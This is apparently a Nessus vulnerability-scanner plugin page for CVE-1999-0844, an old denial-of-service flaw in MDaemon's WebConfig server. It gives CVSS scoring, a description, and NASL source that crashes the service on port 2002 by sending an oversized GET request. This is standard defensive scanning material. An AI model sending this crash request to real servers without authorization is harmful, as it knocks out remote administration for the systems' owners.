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HistoryNov 24, 1999 - 12:00 a.m.

MDaemon WebConfig HTTP Server URL Overflow DoS

1999-11-2400:00:00
This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
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CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

EPSS

0.003

Percentile

65.5%

It was possible to crash Webconfig (which is used to configure MDaemon) by sending the request :

GET /aaaaa[…]aaa HTTP/1.0

This could allow a remote attacker to crash the web server, preventing the MDaemon server from being configured remotely.

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if(description)
{
 script_id(10138);
 script_version ("1.29");
 script_cve_id("CVE-1999-0844");
 script_bugtraq_id(820);

 script_name(english:"MDaemon WebConfig HTTP Server URL Overflow DoS");
 script_summary(english:"Crashes the remote service");
 
 script_set_attribute(
   attribute:"synopsis",
   value:"The remote web server has a denial of service vulnerability."
 );
 script_set_attribute( attribute:"description",  value:
"It was possible to crash Webconfig (which is used to configure
MDaemon) by sending the request :

  GET /aaaaa[...]aaa HTTP/1.0

This could allow a remote attacker to crash the web server, preventing
the MDaemon server from being configured remotely." );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/1999/Nov/340"
 );
 script_set_attribute(
   attribute:"solution", 
   value:"Upgrade to the latest version of this software."
 );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "1999/11/24");
 script_set_attribute(attribute:"vuln_publication_date", value: "1999/11/24");
 script_cvs_date("Date: 2018/11/15 20:50:25");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DENIAL);
 script_family(english:"Web Servers");

 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");

 script_dependencie("http_version.nasl");
 script_require_ports(2002);
 exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = 2002;
if(! get_port_state(port)) exit(0, "Port "+port+" is closed");

if(http_is_dead(port:port))exit(0, "The web server on port "+port+" is dead");
 
w = http_send_recv3(method:"GET", item: crap(1000), port:port);
if (http_is_dead(port:port)) security_warning(port);

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

EPSS

0.003

Percentile

65.5%

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